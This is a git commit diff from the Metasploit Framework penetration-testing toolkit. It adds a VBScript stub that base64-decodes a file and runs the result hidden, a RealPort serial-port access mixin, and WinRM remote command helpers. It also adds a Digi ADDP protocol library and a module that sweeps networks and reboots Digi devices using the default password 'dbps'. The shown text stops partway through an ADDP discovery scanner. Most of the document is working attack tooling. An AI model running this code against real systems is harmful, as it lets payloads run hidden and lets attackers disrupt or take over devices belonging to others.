Merge branch 'master' into bug/read-module-content-errno-enoent
commit
3ad00f7c63
|
@ -0,0 +1,41 @@
|
|||
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
|
||||
echo Set file = fs.GetFile("ENCODED") >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, "") >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
|
||||
echo shell.run "DECODED", 0, false >>decode_stub
|
||||
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo "The file is empty." >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
|
@ -59,7 +59,7 @@ require 'msf/core/exploit/vim_soap'
|
|||
require 'msf/core/exploit/wdbrpc'
|
||||
require 'msf/core/exploit/wdbrpc_client'
|
||||
require 'msf/core/exploit/afp'
|
||||
|
||||
require 'msf/core/exploit/realport'
|
||||
|
||||
# Telephony
|
||||
require 'msf/core/exploit/dialup'
|
||||
|
|
|
@ -0,0 +1,236 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for working with the RealPort protocol
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::RealPort
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
#
|
||||
# Initializes an instance of an auxiliary module that uses RealPort
|
||||
#
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options( [
|
||||
Opt::RPORT(771)
|
||||
], Msf::Exploit::Remote::RealPort )
|
||||
end
|
||||
|
||||
@@REALPORT_BAUD_MAP = {
|
||||
'2400' => "\x03\x00",
|
||||
'9600' => "\x00\xc0",
|
||||
'19200' => "\x00\x60",
|
||||
'38400' => "\x00\x20",
|
||||
'57600' => "\x00\x30",
|
||||
'76800' => "\x00\x10",
|
||||
'115200' => "\x00\x10", # Yup, same as above
|
||||
'230400' => "\x00\x08",
|
||||
'460800' => "\x00\x04",
|
||||
'921600' => "\x00\x02",
|
||||
}
|
||||
|
||||
# Connect to the RealPort service and send the initial handshake
|
||||
# This has the benefit of retrieving the port count and product
|
||||
# Returns true if it succeeds and nil otherwise
|
||||
def realport_connect
|
||||
connect
|
||||
sock.put("\xfb\x01\xfb\x02\xfb\x18")
|
||||
res = sock.get_once(12, 5)
|
||||
return unless (res and res.length == 12)
|
||||
|
||||
unless res[0,2] == "\xfc\x01"
|
||||
vprint_error("#{rhost}:#{rport} Bad reply: #{res.inspect}")
|
||||
return
|
||||
end
|
||||
|
||||
len = res[2,2].unpack("n").first
|
||||
return unless len > 0
|
||||
|
||||
res = sock.get_once(len, 5)
|
||||
unless res.length == len
|
||||
vprint_error("#{rhost}:#{rport} Bad length: #{res.length} wanted #{len}")
|
||||
return
|
||||
end
|
||||
|
||||
name,info = res.split("\xfc\x02", 2)
|
||||
fields = info.unpack("n*")
|
||||
|
||||
@realport_port_count = fields[1].to_i
|
||||
@realport_name = name.gsub(/[\r\n]/, '')
|
||||
|
||||
# The server also sends us an additional four-byte packet we can ignore here
|
||||
# This throws away a \xFC\x18\x00\x04 sequence
|
||||
sock.get_once(-1, 5)
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def realport_disconnect
|
||||
disconnect
|
||||
end
|
||||
|
||||
def realport_baud_to_speed(baud)
|
||||
@@REALPORT_BAUD_MAP[baud]
|
||||
end
|
||||
|
||||
def realport_recv_banner(port=0, timeout=30, max_data=4096)
|
||||
#
|
||||
# Data is received here, header is:
|
||||
# a2 00 01 82 XX
|
||||
# ^ [ counter ] [ length ] [ data ]
|
||||
#
|
||||
|
||||
# Can also see f0 here (keep alive)
|
||||
|
||||
banner = ""
|
||||
stime = Time.now.to_f
|
||||
dcnt = 0
|
||||
pcnt = 0
|
||||
|
||||
while banner.length < max_data and (Time.now.to_f - stime) < timeout
|
||||
|
||||
res = sock.get_once(1, 1)
|
||||
unless res
|
||||
if banner.length == 0 or pcnt < 3
|
||||
# Send a new line to wake up the remote end
|
||||
realport_send(port, "\r")
|
||||
pcnt += 1
|
||||
next
|
||||
else
|
||||
# Allow three empty reads *after* we have sent at least one probe and have data
|
||||
dcnt += 1
|
||||
break if dcnt > 3
|
||||
next
|
||||
end
|
||||
end
|
||||
bit = res.unpack("C").first
|
||||
case bit
|
||||
when (0xA0 + port)
|
||||
# Read the packet sequence number (two bytes)
|
||||
res = sock.get_once(2, 1)
|
||||
when 0xF0
|
||||
# Skip this keep-alive response
|
||||
when (0x80 + port)
|
||||
# Read the one-byte length value
|
||||
res = sock.get_once(1, 1)
|
||||
if res
|
||||
len = res.unpack("C").first
|
||||
res = sock.get_once(len, 1)
|
||||
if res
|
||||
banner << res
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
banner
|
||||
end
|
||||
|
||||
def realport_send(port=0, data)
|
||||
sock.put( [port].pack("C") + data )
|
||||
end
|
||||
|
||||
def realport_close(port=0)
|
||||
cprt = [ 0xb0 + port ].pack("C")
|
||||
pkt = cprt + "\x28\x00\xc0\x00\xb0\x00\x01\x00\x00\x00\x00" + cprt + "\x0a\x03"
|
||||
|
||||
# Response
|
||||
# b2 0b 03 00 00 02
|
||||
|
||||
# Send a close request
|
||||
sock.put(pkt)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} Close:#{ res.inspect }")
|
||||
return
|
||||
end
|
||||
|
||||
def realport_open(port=0, baud='9600')
|
||||
|
||||
@realport_banner = ''
|
||||
|
||||
cprt = [ 0xb0 + port ].pack("C")
|
||||
aprt = [ 0xa0 + port ].pack("C")
|
||||
|
||||
speed = realport_baud_to_speed(baud)
|
||||
|
||||
# Open port
|
||||
pkt1 = "\xf0" + cprt + "\x0a"+ "\x00"
|
||||
|
||||
# Response
|
||||
# b2 0b 00 00 00 02
|
||||
# ^ ^ <- port number
|
||||
|
||||
# Open the port
|
||||
sock.put(pkt1)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Open:#{ res.inspect }")
|
||||
|
||||
# Access the port
|
||||
pkt2 =
|
||||
cprt + "\x0e" +
|
||||
cprt + "\x2a\x02\xc0\xf3" +
|
||||
cprt + "\x10" +
|
||||
cprt + "\x14" +
|
||||
cprt + "\x16" +
|
||||
cprt + "\x2c\x03\x00\x00"
|
||||
|
||||
# Response (GOOD)
|
||||
# b2 0f 00 00 00 00 b2 15 0f ff 0f ff b2 11 00 00
|
||||
# 13 b2 17 01 02 00 2f 06 a8 00 1c 20 00 00 00 00
|
||||
# 00 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
# 00
|
||||
|
||||
# Response (BAD)
|
||||
# \xFF \x17 Access to unopened port\x00
|
||||
|
||||
# Send negotiate request
|
||||
sock.put(pkt2)
|
||||
res = sock.get_once(-1, 5)
|
||||
if res.to_s =~ /^\xff/
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Negotiate:#{ res.inspect }")
|
||||
|
||||
# Terminal settings
|
||||
pkt3 =
|
||||
cprt + "\x30\x03\xff\x00\x64" +
|
||||
cprt + "\x2d\x03\xff\x0b\xff" +
|
||||
cprt + "\x28" + speed + "\x04" +
|
||||
cprt + "\x00\x01\x00\x00\x00\x00" +
|
||||
cprt + "\x2c\x00\x12\x00" +
|
||||
cprt + "\x2e\x11\x13\x16\x00\x00" +
|
||||
cprt + "\x2f\x03\xff\x00\x64" +
|
||||
cprt + "\x40\x37" + aprt + "\x0f\xff"
|
||||
|
||||
# Response
|
||||
# c2 12 00 00 f0
|
||||
# ^
|
||||
|
||||
# Send terminal settings request
|
||||
sock.put(pkt3)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
if res.to_s =~ /^\xff/
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Settings:#{ res.inspect }")
|
||||
return :open
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -17,6 +17,7 @@ module Exploit::Remote::WinRM
|
|||
NTLM_CONST ||= Rex::Proto::NTLM::Constants
|
||||
NTLM_UTILS ||= Rex::Proto::NTLM::Utils
|
||||
NTLM_XCEPT ||= Rex::Proto::NTLM::Exceptions
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
|
@ -61,13 +62,17 @@ module Exploit::Remote::WinRM
|
|||
|
||||
def winrm_run_cmd(cmd, timeout=20)
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
|
||||
if resp.nil?
|
||||
print_error "Recieved no reply from server"
|
||||
return nil
|
||||
end
|
||||
if resp.code == 401
|
||||
print_error "Login failure! Recheck supplied credentials."
|
||||
return resp .code
|
||||
end
|
||||
unless resp.code == 200
|
||||
print_error "Got unexpected response: \n #{resp.to_s}"
|
||||
retval == resp.code || 0
|
||||
retval = resp.code || 0
|
||||
return retval
|
||||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
|
@ -80,6 +85,29 @@ module Exploit::Remote::WinRM
|
|||
return streams
|
||||
end
|
||||
|
||||
def winrm_run_cmd_hanging(cmd, timeout=20)
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
|
||||
if resp.nil?
|
||||
print_error "Recieved no reply from server"
|
||||
return nil
|
||||
end
|
||||
if resp.code == 401
|
||||
print_error "Login failure! Recheck supplied credentials."
|
||||
return resp .code
|
||||
end
|
||||
unless resp.code == 200
|
||||
print_error "Got unexpected response: \n #{resp.to_s}"
|
||||
retval = resp.code || 0
|
||||
return retval
|
||||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
cmd_id = winrm_get_cmd_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
|
||||
streams = winrm_get_cmd_streams(resp)
|
||||
return streams
|
||||
end
|
||||
|
||||
def winrm_wql_msg(wql)
|
||||
action = winrm_uri_action("wql")
|
||||
contents = winrm_header(action) + winrm_wql_body(wql)
|
||||
|
@ -134,6 +162,7 @@ module Exploit::Remote::WinRM
|
|||
end
|
||||
|
||||
def parse_wql_response(response)
|
||||
return nil if response.nil?
|
||||
xml = response.body
|
||||
columns = []
|
||||
rows =[]
|
||||
|
@ -160,16 +189,19 @@ module Exploit::Remote::WinRM
|
|||
end
|
||||
|
||||
def winrm_get_shell_id(response)
|
||||
return nil if response.nil?
|
||||
xml = response.body
|
||||
shell_id = REXML::Document.new(xml).elements["//w:Selector"].text
|
||||
end
|
||||
|
||||
def winrm_get_cmd_id(response)
|
||||
return nil if response.nil?
|
||||
xml = response.body
|
||||
cmd_id = REXML::Document.new(xml).elements["//rsp:CommandId"].text
|
||||
end
|
||||
|
||||
def winrm_get_cmd_streams(response)
|
||||
return nil if response.nil?
|
||||
streams = {
|
||||
'stdout' => '',
|
||||
'stderr' => '',
|
||||
|
@ -178,7 +210,7 @@ module Exploit::Remote::WinRM
|
|||
rxml = REXML::Document.new(xml).root
|
||||
rxml.elements.to_a("//rsp:Stream").each do |node|
|
||||
next if node.text.nil?
|
||||
streams[node.attributes['Name']] << Rex::Text.base64_decode(node.text)
|
||||
streams[node.attributes['Name']] << Rex::Text.decode_base64(node.text)
|
||||
end
|
||||
return streams
|
||||
end
|
||||
|
@ -291,6 +323,7 @@ module Exploit::Remote::WinRM
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
def winrm_option_set(options)
|
||||
|
|
|
@ -0,0 +1,218 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
|
||||
#
|
||||
# This provides constants, encoding, and decoding routines for Digi International's ADDP protocol
|
||||
#
|
||||
class ADDP
|
||||
|
||||
require "rex/socket"
|
||||
|
||||
#
|
||||
# See the following URLs for more information:
|
||||
# - http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html
|
||||
# - http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29
|
||||
#
|
||||
|
||||
|
||||
MAGICS = %W{ DIGI DVKT DGDP }
|
||||
ERRORS = %W{ no_response unknown success authenticaton_failed unit_has_address invalid_value invalid_data unsupported_command }
|
||||
WLAN_ENC_MODES = %W{ unknown none wep40 wep128 }
|
||||
WLAN_AUTH_MODES = %W{ unknown open shared_key open_shared_key }
|
||||
HWTYPES = %W{
|
||||
unknown ps3_desk8 ps3_desk16 ps3_desk32 ps3_rack16 ps2_desk16 ps2_rack16
|
||||
lets_desk1 lets_desk2 lets_desk4 dorpia_dinrail1 nubox01 nubox02 nubox04
|
||||
digione_sp digione_ia digione_em
|
||||
}
|
||||
|
||||
CMD_CONF_REQ = 1
|
||||
CMD_CONF_REP = 2
|
||||
CMD_SET_ADDR_REQ = 3
|
||||
CMD_SET_ADDR_REP = 4
|
||||
CMD_REBOOT_REQ = 5
|
||||
CMD_REBOOT_REP = 6
|
||||
CMD_SET_DHCP_REQ = 7
|
||||
CMD_SET_DHCP_REP = 8
|
||||
CMD_SET_WL_REQ = 9
|
||||
CMD_SET_WL_REP = 10
|
||||
CMD_SET_WL_COUNTRIES_REQ = 11
|
||||
CMD_SET_WL_COUNTRIES_REP = 12
|
||||
CMD_EDP = 13
|
||||
CMD_CNT = 14
|
||||
|
||||
|
||||
def self.encode_password(pwd="dbps")
|
||||
[pwd.length].pack("C") + pwd
|
||||
end
|
||||
|
||||
def self.request_config(magic, dmac="\xff\xff\xff\xff\xff\xff")
|
||||
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
|
||||
req = magic + [ CMD_CONF_REQ, 6].pack("nn") + mac
|
||||
return req
|
||||
end
|
||||
|
||||
def self.request_config_all(dmac="\xff\xff\xff\xff\xff\xff")
|
||||
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
|
||||
res = []
|
||||
MAGICS.each { |m| res << self.request_config(m, dmac) }
|
||||
return res
|
||||
end
|
||||
|
||||
def self.request_static_ip(magic, dmac, ip, mask, gw, pwd="dbps")
|
||||
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
|
||||
buf =
|
||||
Rex::Socket.addr_aton(ip) +
|
||||
Rex::Socket.addr_aton(mask) +
|
||||
Rex::Socket.addr_aton(gw) +
|
||||
mac +
|
||||
self.encode_password(pwd)
|
||||
|
||||
req = magic + [CMD_SET_ADDR_REQ, buf.length].pack("nn") + buf
|
||||
return req
|
||||
end
|
||||
|
||||
def self.request_dhcp(magic, dmac, enabled, pwd="dbps")
|
||||
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
|
||||
buf =
|
||||
[ enabled ? 1 : 0 ].pack("C") +
|
||||
mac +
|
||||
self.encode_password(pwd)
|
||||
|
||||
req = magic + [CMD_SET_DHCP_REQ, buf.length].pack("nn") + buf
|
||||
return req
|
||||
end
|
||||
|
||||
def self.request_reboot(magic, dmac, pwd="dbps")
|
||||
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
|
||||
buf =
|
||||
mac +
|
||||
self.encode_password(pwd)
|
||||
|
||||
req = magic + [CMD_REBOOT_REQ, buf.length].pack("nn") + buf
|
||||
return req
|
||||
end
|
||||
|
||||
def self.decode_reply(data)
|
||||
res = {}
|
||||
r_magic = data[0,4]
|
||||
r_ptype = data[4,2].unpack("n").first
|
||||
r_plen = data[6,2].unpack("n").first
|
||||
buff = data[8, r_plen]
|
||||
bidx = 0
|
||||
|
||||
res[:magic] = data[0,4]
|
||||
res[:cmd] = r_ptype
|
||||
|
||||
while bidx < (buff.length - 2)
|
||||
i_type, i_len = buff[bidx, 2].unpack("CC")
|
||||
i_data = buff[bidx + 2, i_len]
|
||||
|
||||
break if i_data.length != i_len
|
||||
|
||||
case i_type
|
||||
when 0x01
|
||||
res[:mac] = Rex::Socket.eth_ntoa(i_data)
|
||||
when 0x02
|
||||
res[:ip] = Rex::Socket.addr_ntoa(i_data)
|
||||
when 0x03
|
||||
res[:mask] = Rex::Socket.addr_ntoa(i_data)
|
||||
when 0x04
|
||||
res[:hostname] = i_data
|
||||
when 0x05
|
||||
res[:domain] = i_data
|
||||
when 0x06
|
||||
res[:hwtype] = HWTYPES[ i_data.unpack("C").first ] || HWTYPES[ 0 ]
|
||||
when 0x07
|
||||
res[:hwrev] = i_data.unpack("C").first
|
||||
when 0x08
|
||||
res[:fwrev] = i_data
|
||||
when 0x09
|
||||
res[:msg] = i_data
|
||||
when 0x0a
|
||||
res[:result] = i_data.unpack("C").first
|
||||
when 0x0b
|
||||
res[:gw] = Rex::Socket.addr_ntoa(i_data)
|
||||
when 0x0c
|
||||
res[:advisory] = i_data.unpack("n").first
|
||||
when 0x0d
|
||||
res[:hwname] = i_data
|
||||
when 0x0e
|
||||
res[:realport] = i_data.unpack("N").first
|
||||
when 0x0f
|
||||
res[:dns] = Rex::Socket.addr_ntoa(i_data)
|
||||
when 0x10
|
||||
res[:dhcp] = (i_data.unpack("C").first == 0) ? false : true
|
||||
when 0x11
|
||||
res[:error] = ERRORS[ i_data.unpack("C").first ] || ERRORS[0]
|
||||
when 0x12
|
||||
res[:ports] = i_data.unpack("C").first
|
||||
when 0x13
|
||||
res[:realport_enc] = (i_data.unpack("C").first == 0) ? false : true
|
||||
when 0x14
|
||||
res[:version] = i_data.unpack("n").first
|
||||
when 0x15
|
||||
res[:vendor_guid] = i_data.unpack("H*") # GUID
|
||||
when 0x16
|
||||
res[:iftype] = i_data.unpack("C").first
|
||||
when 0x17
|
||||
res[:challenge] = i_data # Unknown format
|
||||
when 0x18
|
||||
res[:cap_port] = i_data.unpack("n").first
|
||||
when 0x19
|
||||
res[:edp_devid] = i_data.unpack("H*").first # Unknown format
|
||||
when 0x1a
|
||||
res[:edp_enabled] = (i_data.unpack("C").first == 0) ? false : true
|
||||
when 0x1b
|
||||
res[:edp_url] = i_data
|
||||
when 0x1c
|
||||
res[:wl_ssid] = i_data
|
||||
when 0x1d
|
||||
res[:wl_auto_ssid] = (i_data.unpack("n").first == 0) ? false : true
|
||||
when 0x1e
|
||||
res[:wl_tx_enh_power] = i_data.unpack("n").first
|
||||
when 0x1f
|
||||
res[:wl_auth_mode] = WLAN_AUTH_MODES[ i_data.unpack("n").first ] || WLAN_AUTH_MODES[ 0 ]
|
||||
when 0x20
|
||||
res[:wl_enc_mode] = WLAN_ENC_MODES[ i_data.unpack("n").first ] || WLAN_ENC_MODES[ 0 ]
|
||||
when 0x21
|
||||
res[:wl_enc_key] = i_data
|
||||
when 0x22
|
||||
res[:wl_cur_country] = i_data
|
||||
when 0x23
|
||||
res[:wl_country_list] = i_data
|
||||
else
|
||||
# Store unknown responses
|
||||
res["unknown_0x#{"%.2x" % i_type}".to_sym] = i_data
|
||||
end
|
||||
|
||||
bidx = bidx + 2 + i_len
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
def self.reply_to_string(res)
|
||||
str = ""
|
||||
|
||||
fields = [
|
||||
:hwname, :hwtype, :hwrev, :fwrev,
|
||||
:mac, :ip, :mask, :gw, :hostname, :domain, :dns, :dhcp,
|
||||
:msg, :result, :error,
|
||||
:advisory, :ports, :realport, :realport_enc,
|
||||
:version, :vendor_guid, :iftype, :challenge, :cap_port, :edp_devid, :edp_enabled,
|
||||
:edp_url, :wl_ssid, :wl_auto_ssid, :wl_tx_enh_power, :wl_auth_mode, :wl_enc_mode,
|
||||
:wl_enc_key, :wl_cur_country, :wl_country_list, :magic
|
||||
]
|
||||
|
||||
fields.each do |fname|
|
||||
next unless res.has_key?(fname)
|
||||
str << "#{fname}:#{res[fname]} "
|
||||
end
|
||||
return str
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -455,6 +455,20 @@ module Socket
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a colon-delimited MAC address into a 6-byte binary string
|
||||
#
|
||||
def self.eth_aton(mac)
|
||||
mac.split(":").map{|c| c.to_i(16) }.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a 6-byte binary string into a colon-delimited MAC address
|
||||
#
|
||||
def self.eth_ntoa(bin)
|
||||
bin.unpack("C6").map{|x| "%.2x" % x }.join(":").upcase
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a CIDR subnet into an array (base, bcast)
|
||||
#
|
||||
|
|
|
@ -0,0 +1,161 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/addp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Digi ADDP Remote Reboot Initiator',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Reboot Digi International based equipment through the ADDP service',
|
||||
'Author' => 'hdm',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'],
|
||||
['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'],
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::CHOST,
|
||||
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
|
||||
Opt::RPORT(2362),
|
||||
OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_batch_size
|
||||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT'].to_i
|
||||
end
|
||||
|
||||
def run_batch(batch)
|
||||
|
||||
print_status("Finding ADDP nodes within #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
||||
|
||||
@results = {}
|
||||
begin
|
||||
udp_sock = nil
|
||||
idx = 0
|
||||
|
||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
|
||||
add_socket(udp_sock)
|
||||
|
||||
batch.each do |ip|
|
||||
begin
|
||||
# Try all currently-known magic probe values
|
||||
Rex::Proto::ADDP.request_config_all.each do |pkt|
|
||||
begin
|
||||
udp_sock.sendto(pkt, ip, rport, 0)
|
||||
rescue ::Errno::ENOBUFS
|
||||
print_status("Socket buffers are full, waiting for them to flush...")
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
select(nil, nil, nil, 0.25)
|
||||
retry
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError
|
||||
end
|
||||
|
||||
if (idx % 30 == 0)
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
end
|
||||
|
||||
idx += 1
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 3) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
queue = {}
|
||||
@results.each_pair do |ip,res|
|
||||
queue[ip] = res
|
||||
end
|
||||
@results = {}
|
||||
|
||||
queue.each_pair do |ip, res|
|
||||
info = Rex::Proto::ADDP.reply_to_string(res)
|
||||
print_status("#{ip}:#{rport} Sending reboot request to device with MAC #{res[:mac]}...")
|
||||
pkt = Rex::Proto::ADDP.request_reboot(res[:magic], res[:mac], datastore['ADDP_PASSWORD'])
|
||||
|
||||
begin
|
||||
udp_sock.sendto(pkt, ip, rport, 0)
|
||||
rescue ::Errno::ENOBUFS
|
||||
print_status("Socket buffers are full, waiting for them to flush...")
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
select(nil, nil, nil, 0.25)
|
||||
retry
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 5) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def parse_reply(pkt)
|
||||
# Ignore "empty" packets
|
||||
return if not pkt[1]
|
||||
|
||||
addr = pkt[1]
|
||||
if(addr =~ /^::ffff:/)
|
||||
addr = addr.sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
data = pkt[0]
|
||||
|
||||
@results[addr] ||= {}
|
||||
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
|
||||
|
||||
if @results[addr][:cmd] == Rex::Proto::ADDP::CMD_REBOOT_REP
|
||||
print_status("#{addr}:#{rport} Reboot Status: " + Rex::Proto::ADDP.reply_to_string(@results[addr]))
|
||||
end
|
||||
|
||||
return unless @results[addr][:magic] and @results[addr][:mac]
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -0,0 +1,140 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/addp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Digi ADDP Information Discovery',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Discover host information through the Digi International ADDP service',
|
||||
'Author' => 'hdm',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'],
|
||||
['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'],
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::CHOST,
|
||||
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
|
||||
Opt::RPORT(2362)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_batch_size
|
||||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT'].to_i
|
||||
end
|
||||
|
||||
def run_batch(batch)
|
||||
|
||||
print_status("Sending Digi ADDP probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
